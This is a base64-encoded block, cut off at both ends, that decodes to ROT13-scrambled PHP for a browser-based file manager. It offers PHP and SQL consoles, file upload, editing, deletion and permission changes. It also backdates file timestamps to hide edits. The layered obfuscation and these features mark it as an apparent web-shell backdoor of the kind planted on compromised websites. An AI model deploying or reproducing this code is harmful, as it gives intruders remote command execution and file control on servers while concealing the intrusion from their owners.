TE5OTk5US0VTSlVFR28yTTBxMlNsTURPT01UOXZNRk9Xb0pTYU1JV3lMSkU1cHB5eUNOTk5OQU1XRVJTSFhTQXd6WEp2Q0RmTVpaa3Z6ZmRDWGNObzJaZk5NQXdZQmp4bXR0SXpXTGFsY2YvRFI1OXJYUFJnT3VuTFNFc3dNaEd1VTI3eUw2eGRPa0xiZUYvQlpQNWp2VU14eTJEUFBJR3hBK2dlZ1N3NE1GY1p6bmpRU09RMHlQYmxhbU1PeTFhVld3NTVSeU9OMDljcWlwOW9oRzFGTFhMT0pqMURWUDBiQUxmd2VTVVdjRnhpRUxmT1hQUG9aOVVZQTlnSmVvZGF3SEhUTVQxTnVUaFZLTUVtY0R5M25UalEyTzJwTU0ybVJiWTdKK2g2ZGxOaGFNS1ZCWmlEZVNseGRqR3ZTbU9EQUJLdzREWG1iTlhtbndnTFZEak55aWdjeTNJNXA4Wk5OTk5ORkhJQkVYNVBMVlY9Iik7DQp9DQpAenJxdm4gZnBlcnJhIG5hcSAoem5rLWp2cWd1OjcyMGNrKXsNCiAgZ25veXJ7cXZmY3lubDpveWJweDt9DQogICAgI3N6X2dub3lyIGdxe3F2ZmN5bmw6dmF5dmFyO3N5Ym5nOnlyc2c7fQ0KICAgICNzel9nbm95ciBnb2JxbCBncTpzdmVmZy1wdXZ5cXtqdnFndToxMDAlO2NucXF2YXQ6MDt9DQogICAgI3N6X2dub3lyIGdvYnFsIGdlOmFndS1wdXZ5cSgyYSsxKXtvbnB4dGViaGFxLXBieWJlOiNSU1JTUlM7fQ0KICAgICNzel9nbm95ciBnb2JxbCBnZTphZ3UtcHV2eXEoMmEpe29ucHh0ZWJoYXEtcGJ5YmU6I1FSUjNSNzt9DQogICAgI3N6X2dub3lyIGdle3F2ZmN5bmw6b3licHg7c3libmc6eXJzZztweXJuZTp5cnNnO2p2cWd1OjEwMCU7fQ0KCSN1cm5xcmVfZ25veXIgLmViajIsICN1cm5xcmVfZ25veXIgLmViajMge3F2ZmN5bmw6dmF5dmFyO3N5Ym5nOnlyc2c7anZxZ3U6MTAwJTtjbnFxdmF0OjA7fQ0KCSN1cm5xcmVfZ25veXIgZ25veXIgZ3Ege3F2ZmN5bmw6dmF5dmFyO3N5Ym5nOnlyc2c7fQ0KfQ0KPC9mZ2x5cj4NCjwvdXJucT4NCjxvYnFsPg0KPD9jdWMNCiRoZXlfdmFwID0gJz9zej1nZWhyJzsNCnZzICh2ZmZyZygkX0NCRkdbJ2ZkeWVoYSddKSYmIXJ6Y2dsKCRzel9wYmFzdnRbJ3Jhbm95cl9mZHlfcGJhZmJ5ciddKSl7DQoJJGVyZiA9IHJ6Y2dsKCRfQ0JGR1snZmR5J10pID8gJycgOiAkX0NCRkdbJ2ZkeSddOw0KCSRlcmZfeWF0ID0gJ2ZkeSc7DQp9IHJ5ZnJ2cyAodmZmcmcoJF9DQkZHWydjdWNlaGEnXSkmJiFyemNnbCgkc3pfcGJhc3Z0WydyYW5veXJfY3VjX3BiYWZieXInXSkpew0KCSRlcmYgPSByemNnbCgkX0NCRkdbJ2N1YyddKSA/ICcnIDogJF9DQkZHWydjdWMnXTsNCgkkZXJmX3lhdCA9ICdjdWMnOw0KfSANCnZzICh2ZmZyZygkX1RSR1snc3pfZnJnZ3ZhdGYnXSkpIHsNCglycHViICcgDQo8Z25veXIgcHluZmY9Imp1YnlyIj4NCjxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPg0KPGdlPjxndSBwYnlmY25hPSIyIj4nLl9fKCdTdnlyIHpuYW50cmUnKS4nIC0gJy5fXygnRnJnZ3ZhdGYnKS4nPC9ndT48L2dlPg0KJy4ocnpjZ2woJHpmdCk/Jyc6JzxnZT48Z3EgcHluZmY9ImViajIiIHBieWZjbmE9IjIiPicuJHpmdC4nPC9ncT48L2dlPicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaiBmdm1yIGJzIGd1ciBzYnlxcmUnKSwnZnVial9xdmVfZnZtcicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgJy5fXygnY3ZwZ2hlcmYnKSwnZnVial92enQnKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nICcuX18oJ1pueHIgcXZlcnBnYmVsJyksJ3pueHJfcXZlcnBnYmVsJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdBcmogc3Z5cicpLCdhcmpfc3Z5cicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgJy5fXygnSGN5Ym5xJyksJ2hjeWJucV9zdnlyJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBDVUMgaXJlZnZiYScsJ2Z1YmpfY3VjX2lyZScpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgQ1VDIHZhdicsJ2Z1YmpfY3VjX3ZhdicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgJy5fXygnVHJhcmVuZ3ZiYSBndnpyJyksJ2Z1YmpfdGcnKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nIGt5ZicsJ2Z1Ympfa3lmJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBDVUMgJy5fXygnUGJhZmJ5cicpLCdyYW5veXJfY3VjX3BiYWZieXInKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nIEZEWSAnLl9fKCdQYmFmYnlyJyksJ3Jhbm95cl9mZHlfcGJhZmJ5cicpLicNCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel9wYmFzdnRbZmR5X2ZyZWlyZV0iIGlueWhyPSInLiRzel9wYmFzdnRbJ2ZkeV9mcmVpcmUnXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+RkRZIGZyZWlyZTwvZ3E+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel9wYmFzdnRbZmR5X2hmcmVhbnpyXSIgaW55aHI9IicuJHN6X3BiYXN2dFsnZmR5X2hmcmVhbnpyJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPkZEWSBoZnJlPC9ncT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3BiYXN2dFtmZHlfY25mZmpiZXFdIiBpbnlocj0iJy4kc3pfcGJhc3Z0WydmZHlfY25mZmpiZXEnXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+RkRZIGNuZmZqYmVxPC9ncT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3BiYXN2dFtmZHlfcW9dIiBpbnlocj0iJy4kc3pfcGJhc3Z0WydmZHlfcW8nXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+RkRZIFFPPC9ncT48L2dlPg0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBDZWJrbCcsJ3Jhbm95cl9jZWJrbCcpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgY3VjdmFzYigpJywnZnVial9jdWN2YXNiJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdGcmdndmF0ZicpLCdzel9mcmdndmF0ZicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRXJmZ2JlciBzdnlyIGd2enIgbnNncmUgcnF2Z3ZhdCcpLCdlcmZnYmVyX2d2enInKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ1N2eXIgem5hbnRyZScpLic6ICcuX18oJ0VyZmdiZXIgc3Z5ciBndnpyIG5zZ3JlIHJxdmd2YXQnKSwnc3pfZXJmZ2Jlcl9ndnpyJykuJw0KPGdlPjxncSBweW5mZj0iZWJqMyI+PG4gdWVycz0iJy5zel9oZXkoKS4nP3N6X2ZyZ2d2YXRmPWdlaHImc3pfcGJhc3Z0X3FyeXJncj1nZWhyIj4nLl9fKCdFcmZyZyBmcmdndmF0ZicpLic8L24+PC9ncT48Z3EgcHluZmY9ImViajMiPjx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSInLl9fKCdGbmlyJykuJyIgYW56cj0ic3pfcGJhc3Z0W3N6X2ZyZ19maG96dmddIj48L2dxPjwvZ2U+DQo8L3NiZXo+DQo8L2dub3lyPg0KPGdub3lyPg0KPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9IiI+DQo8Z2U+PGd1IHBieWZjbmE9IjIiPicuX18oJ0ZyZ2d2YXRmJykuJyAtICcuX18oJ05oZ3ViZXZtbmd2YmEnKS4nPC9ndT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3lidHZhW25oZ3ViZXZtcl0iIGlueWhyPSIxIiAnLigkbmhndVsnbmhndWJldm1yJ10/J3B1cnB4cnEnOicnKS4nIGdsY3I9InB1cnB4b2JrIiB2cT0ibmhndSI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPjx5bm9yeSBzYmU9Im5oZ3UiPicuX18oJ05oZ3ViZXZtbmd2YmEnKS4nPC95bm9yeT48L2dxPjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfeWJ0dmFbeWJ0dmFdIiBpbnlocj0iJy4kbmhndVsneWJ0dmEnXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnWWJ0dmEnKS4nPC9ncT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3lidHZhW2NuZmZqYmVxXSIgaW55aHI9IicuJG5oZ3VbJ2NuZmZqYmVxJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPicuX18oJ0NuZmZqYmVxJykuJzwvZ3E+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel95YnR2YVtwYmJ4dnJfYW56cl0iIGlueWhyPSInLiRuaGd1WydwYmJ4dnJfYW56ciddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj4nLl9fKCdQYmJ4dnInKS4nPC9ncT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3lidHZhW3FubGZfbmhndWJldm1uZ3ZiYV0iIGlueWhyPSInLiRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnUW5sZicpLic8L2dxPjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48Z3JrZ25lcm4gYW56cj0ic3pfeWJ0dmFbZnBldmNnXSIgcGJ5Zj0iMzUiIGViamY9IjciIHB5bmZmPSJncmtnbmVybl92YWNoZyIgdnE9Im5oZ3VfZnBldmNnIj4nLiRuaGd1WydmcGV2Y2cnXS4nPC9ncmtnbmVybj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnRnBldmNnJykuJzwvZ3E+PC9nZT4NCjxnZT48Z3EgcGJ5ZmNuYT0iMiIgcHluZmY9ImViajMiPjx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSInLl9fKCdGbmlyJykuJyIgPjwvZ3E+PC9nZT4NCjwvc2Jlej4NCjwvZ25veXI+JzsNCnJwdWIgc3pfZ2N5X3NiZXooJ2N1YycpLHN6X2djeV9zYmV6KCdmZHknKTsNCn0gcnlmcnZzICh2ZmZyZygkY2Via2xfc2JleikpIHsNCglxdnIoJGNlYmtsX3NiZXopOw0KfSByeWZydnMgKHZmZnJnKCRlcmZfeWF0KSkgewkNCj8+DQo8Z25veXIgcHluZmY9Imp1YnlyIj4NCjxnZT4NCiAgICA8Z3U+PD89X18oJ1N2eXIgem5hbnRyZScpLicgLSAnLiRjbmd1Pz48L2d1Pg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajIiPjxnbm95cj48Z2U+PGdxPjx1Mj48Pz1mZ2VnYmhjY3JlKCRlcmZfeWF0KT8+IDw/PV9fKCdQYmFmYnlyJyk/Pjw/Y3VjDQoJdnMoJGVyZl95YXQ9PSdmZHknKSBycHViICcgLSBRbmdub25mcjogJy4kc3pfcGJhc3Z0WydmZHlfcW8nXS4nPC91Mj48L2dxPjxncT4nLnN6X2VoYV92YWNoZygnY3VjJyk7DQoJcnlmciBycHViICc8L3UyPjwvZ3E+PGdxPicuc3pfZWhhX3ZhY2hnKCdmZHknKTsNCgk/PjwvZ3E+PC9nZT48L2dub3lyPjwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQoJCTxuIHVlcnM9Ijw/PSRoZXlfdmFwLicmY25ndT0nIC4gJGNuZ3U7Pz4iPjw/PV9fKCdPbnB4Jyk/Pjwvbj4NCgkJPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iQ0JGRyIgYW56cj0icGJhZmJ5ciI+DQoJCTxncmtnbmVybiBhbnpyPSI8Pz0kZXJmX3lhdD8+IiBwYnlmPSI4MCIgZWJqZj0iMTAiIGZnbHlyPSJqdnFndTogOTAlIj48Pz0kZXJmPz48L2dya2duZXJuPjxvZS8+DQoJCTx2YWNoZyBnbGNyPSJlcmZyZyIgaW55aHI9Ijw/PV9fKCdFcmZyZycpPz4iPg0KCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iPD89X18oJ0Zob3p2ZycpPz4iIGFuenI9Ijw/PSRlcmZfeWF0Pz5laGEiPg0KPD9jdWMNCiRmZ2VfZ3pjeSA9ICRlcmZfeWF0LidfZ3J6Y3luZ3JmJzsNCiRnemN5ID0gIXJ6Y2dsKCQkZmdlX2d6Y3kpID8gd2ZiYV9xcnBicXIoJCRmZ2VfZ3pjeSxnZWhyKSA6ICcnOw0KdnMgKCFyemNnbCgkZ3pjeSkpew0KCSRucGd2aXIgPSB2ZmZyZygkX0NCRkdbJGVyZl95YXQuJ19nY3knXSkgPyAkX0NCRkdbJGVyZl95YXQuJ19nY3knXSA6ICcnOw0KCSRmcnlycGcgPSAnPGZyeXJwZyBhbnpyPSInLiRlcmZfeWF0LidfZ2N5IiBndmd5cj0iJy5fXygnR3J6Y3luZ3InKS4nIiBiYXB1bmF0cj0idnMgKGd1dmYuaW55aHIhPS0xKSBxYnBoenJhZy5zYmV6ZltcJ3BiYWZieXJcJ10ucnlyenJhZ2ZbXCcnLiRlcmZfeWF0LidcJ10uaW55aHIgPSBndXZmLmJjZ3ZiYWZbZnJ5cnBncnFWYXFya10uaW55aHI7IHJ5ZnIgcWJwaHpyYWcuc2JlemZbXCdwYmFmYnlyXCddLnJ5cnpyYWdmW1wnJy4kZXJmX3lhdC4nXCddLmlueWhyID1cJ1wnOyIgPicuIlxhIjsNCgkkZnJ5cnBnIC49ICc8YmNndmJhIGlueWhyPSItMSI+JyAuIF9fKCdGcnlycGcnKSAuICI8L2JjZ3ZiYT5cYSI7DQoJc2Jlcm5wdSAoJGd6Y3kgbmYgJHhybD0+JGlueWhyKXsNCgkJJGZyeXJwZy49JzxiY2d2YmEgaW55aHI9IicuJGlueWhyLiciICcuKCghcnpjZ2woJGlueWhyKSYmKCRpbnlocj09JG5wZ3ZpcikpPydmcnlycGdycSc6JycpLicgPicuX18oJHhybCkuIjwvYmNndmJhPlxhIjsNCgl9DQoJJGZyeXJwZyAuPSAiPC9mcnlycGc+XGEiOw0KCXJwdWIgJGZyeXJwZzsNCn0NCj8+DQoJCTwvc2Jlej4NCgk8L2dxPg0KPC9nZT4NCjwvZ25veXI+DQo8P2N1Yw0KCXZzICghcnpjZ2woJGVyZikpIHsNCgkJJHNoYT0nc3pfJy4kZXJmX3lhdDsNCgkJcnB1YiAnPHUzPicuZmdlZ2JoY2NyZSgkZXJmX3lhdCkuJyAnLl9fKCdFcmZoeWcnKS4nPC91Mz48Y2VyPicuJHNoYSgkZXJmKS4nPC9jZXI+JzsNCgl9DQp9IHJ5ZnJ2cyAoIXJ6Y2dsKCRfRVJESFJGR1sncnF2ZyddKSl7DQoJdnMoIXJ6Y2dsKCRfRVJESFJGR1snZm5pciddKSkgew0KCQkkc2EgPSAkY25ndSAuICRfRVJESFJGR1sncnF2ZyddOw0KCQkkc3Z5cnpndnpyID0gc3Z5cnpndnpyKCRzYSk7DQoJICAgIHZzIChzdnlyX2NoZ19wYmFncmFnZigkc2EsICRfRVJESFJGR1snYXJqcGJhZ3JhZyddKSkgJHpmdCAuPSBfXygnU3Z5ciBoY3FuZ3JxJyk7DQoJCXJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCgkJdnMgKCRfVFJHWydycXZnJ109PW9uZnJhbnpyKF9fU1ZZUl9fKSkgew0KCQkJZ2JocHUoX19TVllSX18sMTQxNTExNjM3MSk7DQoJCX0gcnlmciB7DQoJCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2VyZmdiZXJfZ3Z6ciddKSkgZ2JocHUoJHNhLCRzdnlyemd2enIpOw0KCQl9DQoJfQ0KICAgICRieXFwYmFncmFnID0gQHN2eXJfdHJnX3BiYWdyYWdmKCRjbmd1IC4gJF9FUkRIUkZHWydycXZnJ10pOw0KICAgICRycXZneXZheCA9ICRoZXlfdmFwIC4gJyZycXZnPScgLiAkX0VSREhSRkdbJ3JxdmcnXSAuICcmY25ndT0nIC4gJGNuZ3U7DQogICAgJG9ucHh5dmF4ID0gJGhleV92YXAgLiAnJmNuZ3U9JyAuICRjbmd1Ow0KPz4NCjxnbm95ciBvYmVxcmU9JzAnIHByeXlmY25wdmF0PScwJyBwcnl5Y25xcXZhdD0nMScganZxZ3U9IjEwMCUiPg0KPGdlPg0KICAgIDxndT48Pz1fXygnU3Z5ciB6bmFudHJlJykuJyAtICcuX18oJ1JxdmcnKS4nIC0gJy4kY25ndS4kX0VSREhSRkdbJ3JxdmcnXT8+PC9ndT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIj4NCiAgICAgICAgPD89JHpmdD8+DQoJPC9ncT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIj4NCiAgICAgICAgPD89c3pfdWJ6cigpPz4gPG4gdWVycz0iPD89JG9ucHh5dmF4Pz4iPjw/PV9fKCdPbnB4Jyk/Pjwvbj4NCgk8L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiIG55dnRhPSJwcmFncmUiPg0KICAgICAgICA8c2JleiBhbnpyPSJzYmV6MSIgenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSRycXZneXZheD8+Ij4NCiAgICAgICAgICAgIDxncmtnbmVybiBhbnpyPSJhcmpwYmFncmFnIiB2cT0iYXJqcGJhZ3JhZyIgcGJ5Zj0iNDUiIGViamY9IjE1IiBmZ2x5cj0ianZxZ3U6OTklIiBmY3J5eXB1cnB4PSJzbnlmciI+PD89dWd6eWZjcnB2bnlwdW5lZigkYnlxcGJhZ3JhZyk/PjwvZ3JrZ25lcm4+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJmbmlyIiBpbnlocj0iPD89X18oJ0Zob3p2ZycpPz4iPg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0icG5hcHJ5IiBpbnlocj0iPD89X18oJ1BuYXByeScpPz4iPg0KICAgICAgICA8L3NiZXo+DQogICAgPC9ncT4NCjwvZ2U+DQo8L2dub3lyPg0KPD9jdWMNCnJwdWIgJG5oZ3VbJ2ZwZXZjZyddOw0KfSByeWZydnMoIXJ6Y2dsKCRfRVJESFJGR1snZXZ0dWdmJ10pKXsNCgl2cyghcnpjZ2woJF9FUkRIUkZHWydmbmlyJ10pKSB7DQoJICAgIHZzKHN6X3B1emJxKCRjbmd1IC4gJF9FUkRIUkZHWydldnR1Z2YnXSwgc3pfcGJhaXJlZ19ldnR1Z2YoJF9FUkRIUkZHWydldnR1Z2ZfaW55J10pLCBAJF9FUkRIUkZHWydlcnBoZWZ2aXJ5bCddKSkNCgkJJHpmdCAuPSAoX18oJ1N2eXIgaGNxbmdycScpKTsgDQoJCXJ5ZnIgJHpmdCAuPSAoX18oJ1JlZWJlIGJwcGhlZXJxJykpOw0KCX0NCglweXJuZWZnbmdwbnB1cigpOw0KICAgICRieXFldnR1Z2YgPSBzel9ldnR1Z2ZfZmdldmF0KCRjbmd1IC4gJF9FUkRIUkZHWydldnR1Z2YnXSwgZ2Vocik7DQogICAgJHl2YXggPSAkaGV5X3ZhcCAuICcmZXZ0dWdmPScgLiAkX0VSREhSRkdbJ2V2dHVnZiddIC4gJyZjbmd1PScgLiAkY25ndTsNCiAgICAkb25weHl2YXggPSAkaGV5X3ZhcCAuICcmY25ndT0nIC4gJGNuZ3U7DQo/Pg0KPGdub3lyIHB5bmZmPSJqdWJ5ciI+DQo8Z2U+DQogICAgPGd1Pjw/PV9fKCdTdnlyIHpuYW50cmUnKS4nIC0gJy4kY25ndT8+PC9ndT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIj4NCiAgICAgICAgPD89JHpmdD8+DQoJPC9ncT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIj4NCiAgICAgICAgPG4gdWVycz0iPD89JG9ucHh5dmF4Pz4iPjw/PV9fKCdPbnB4Jyk/Pjwvbj4NCgk8L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiIG55dnRhPSJwcmFncmUiPg0KICAgICAgICA8c2JleiBhbnpyPSJzYmV6MSIgenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSR5dmF4Pz4iPg0KICAgICAgICAgICA8Pz1fXygnRXZ0dWdmJykuJyAtICcuJF9FUkRIUkZHWydldnR1Z2YnXT8+IDx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJldnR1Z2ZfaW55IiBpbnlocj0iPD89JGJ5cWV2dHVnZj8+Ij4NCiAgICAgICAgPD9jdWMgdnMgKHZmX3F2ZSgkY25ndS4kX0VSREhSRkdbJ2V2dHVnZiddKSkgeyA/Pg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InB1cnB4b2JrIiBhbnpyPSJlcnBoZWZ2aXJ5bCIgaW55aHI9IjEiPiA8Pz1fXygnRXJwaGVmdmlyeWwnKT8+PG9lLz4NCiAgICAgICAgPD9jdWMgfSA/Pg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iZm5pciIgaW55aHI9Ijw/PV9fKCdGaG96dmcnKT8+Ij4NCiAgICAgICAgPC9zYmV6Pg0KICAgIDwvZ3E+DQo8L2dlPg0KPC9nbm95cj4NCjw/Y3VjDQp9IHJ5ZnJ2cyAoIXJ6Y2dsKCRfRVJESFJGR1snZXJhbnpyJ10pJiYkX0VSREhSRkdbJ2VyYW56ciddPD4nLicpIHsNCgl2cyghcnpjZ2woJF9FUkRIUkZHWydmbmlyJ10pKSB7DQoJICAgIGVyYW56cigkY25ndSAuICRfRVJESFJGR1snZXJhbnpyJ10sICRjbmd1IC4gJF9FUkRIUkZHWydhcmphbnpyJ10pOw0KCQkkemZ0IC49IChfXygnU3Z5ciBoY3FuZ3JxJykpOw0KCQkkX0VSREhSRkdbJ2VyYW56ciddID0gJF9FUkRIUkZHWydhcmphbnpyJ107DQoJfQ0KCXB5cm5lZmduZ3BucHVyKCk7DQogICAgJHl2YXggPSAkaGV5X3ZhcCAuICcmZXJhbnpyPScgLiAkX0VSREhSRkdbJ2VyYW56ciddIC4gJyZjbmd1PScgLiAkY25ndTsNCiAgICAkb25weHl2YXggPSAkaGV5X3ZhcCAuICcmY25ndT0nIC4gJGNuZ3U7DQoNCj8+DQo8Z25veXIgcHluZmY9Imp1YnlyIj4NCjxnZT4NCiAgICA8Z3U+PD89X18oJ1N2eXIgem5hbnRyZScpLicgLSAnLiRjbmd1Pz48L2d1Pg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8Pz0kemZ0Pz4NCgk8L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8biB1ZXJzPSI8Pz0kb25weHl2YXg/PiI+PD89X18oJ09ucHgnKT8+PC9uPg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSIgbnl2dGE9InByYWdyZSI+DQogICAgICAgIDxzYmV6IGFuenI9InNiZXoxIiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JHl2YXg/PiI+DQogICAgICAgICAgICA8Pz1fXygnRXJhbnpyJyk/PjogPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9ImFyamFuenIiIGlueWhyPSI8Pz0kX0VSREhSRkdbJ2VyYW56ciddPz4iPjxvZS8+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJmbmlyIiBpbnlocj0iPD89X18oJ0Zob3p2ZycpPz4iPg0KICAgICAgICA8L3NiZXo+DQogICAgPC9ncT4NCjwvZ2U+DQo8L2dub3lyPg0KPD9jdWMNCn0gcnlmciB7DQovL1lyZydmIGVicHghDQogICAgJHpmdCA9ICcnOw0KICAgIHZzKCFyemNnbCgkX1NWWVJGWydoY3libnEnXSkmJiFyemNnbCgkc3pfcGJhc3Z0WydoY3libnFfc3Z5ciddKSkgew0KICAgICAgICB2cyghcnpjZ2woJF9TVllSRlsnaGN5Ym5xJ11bJ2FuenInXSkpew0KICAgICAgICAgICAgJF9TVllSRlsnaGN5Ym5xJ11bJ2FuenInXSA9IGZnZV9lcmN5bnByKCclJywgJycsICRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ10pOw0KICAgICAgICAgICAgdnMoIXpiaXJfaGN5Ym5xcnFfc3Z5cigkX1NWWVJGWydoY3libnEnXVsnZ3pjX2FuenInXSwgJGNuZ3UgLiAkX1NWWVJGWydoY3libnEnXVsnYW56ciddKSl7DQogICAgICAgICAgICAgICAgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCiAgICAgICAgICAgIH0gcnlmciB7DQoJCQkJJHpmdCAuPSBfXygnU3Z5cmYgaGN5Ym5xcnEnKS4nOiAnLiRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ107DQoJCQl9DQogICAgICAgIH0NCiAgICB9IHJ5ZnJ2cyghcnpjZ2woJF9FUkRIUkZHWydxcnlyZ3InXSkmJiRfRVJESFJGR1sncXJ5cmdyJ108PicuJykgew0KICAgICAgICB2cyghc3pfcXJ5X3N2eXJmKCgkY25ndSAuICRfRVJESFJGR1sncXJ5cmdyJ10pLCBnZWhyKSkgew0KICAgICAgICAgICAgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCiAgICAgICAgfSByeWZyIHsNCgkJCSR6ZnQgLj0gX18oJ1FyeXJncnEnKS4nICcuJF9FUkRIUkZHWydxcnlyZ3InXTsNCgkJfQ0KCX0gcnlmcnZzKCFyemNnbCgkX0VSREhSRkdbJ3p4cXZlJ10pJiYhcnpjZ2woJHN6X3BiYXN2dFsnem54cl9xdmVycGdiZWwnXSkpIHsNCiAgICAgICAgdnMoIUB6eHF2ZSgkY25ndSAuICRfRVJESFJGR1sncXZlYW56ciddLDA3NzcpKSB7DQogICAgICAgICAgICAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KICAgICAgICB9IHJ5ZnIgew0KCQkJJHpmdCAuPSBfXygnUGVybmdycScpLicgJy4kX0VSREhSRkdbJ3F2ZWFuenInXTsNCgkJfQ0KICAgIH0gcnlmcnZzKCFyemNnbCgkX0VSREhSRkdbJ3p4c3Z5ciddKSYmIXJ6Y2dsKCRzel9wYmFzdnRbJ2Fyal9zdnlyJ10pKSB7DQogICAgICAgIHZzKCEkc2M9QHNiY3JhKCRjbmd1IC4gJF9FUkRIUkZHWydzdnlyYW56ciddLCJqIikpIHsNCiAgICAgICAgICAgICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQogICAgICAgIH0gcnlmciB7DQoJCQlzcHliZnIoJHNjKTsNCgkJCSR6ZnQgLj0gX18oJ1Blcm5ncnEnKS4nICcuJF9FUkRIUkZHWydzdnlyYW56ciddOw0KCQl9DQogICAgfSByeWZydnMgKHZmZnJnKCRfVFJHWydtdmMnXSkpIHsNCgkJJGZiaGVwciA9IG9uZnI2NF9xcnBicXIoJF9UUkdbJ212YyddKTsNCgkJJHFyZmd2YW5ndmJhID0gb25mcmFuenIoJGZiaGVwcikuJy5tdmMnOw0KCQlmcmdfZ3Z6cl95dnp2ZygwKTsNCgkJJGN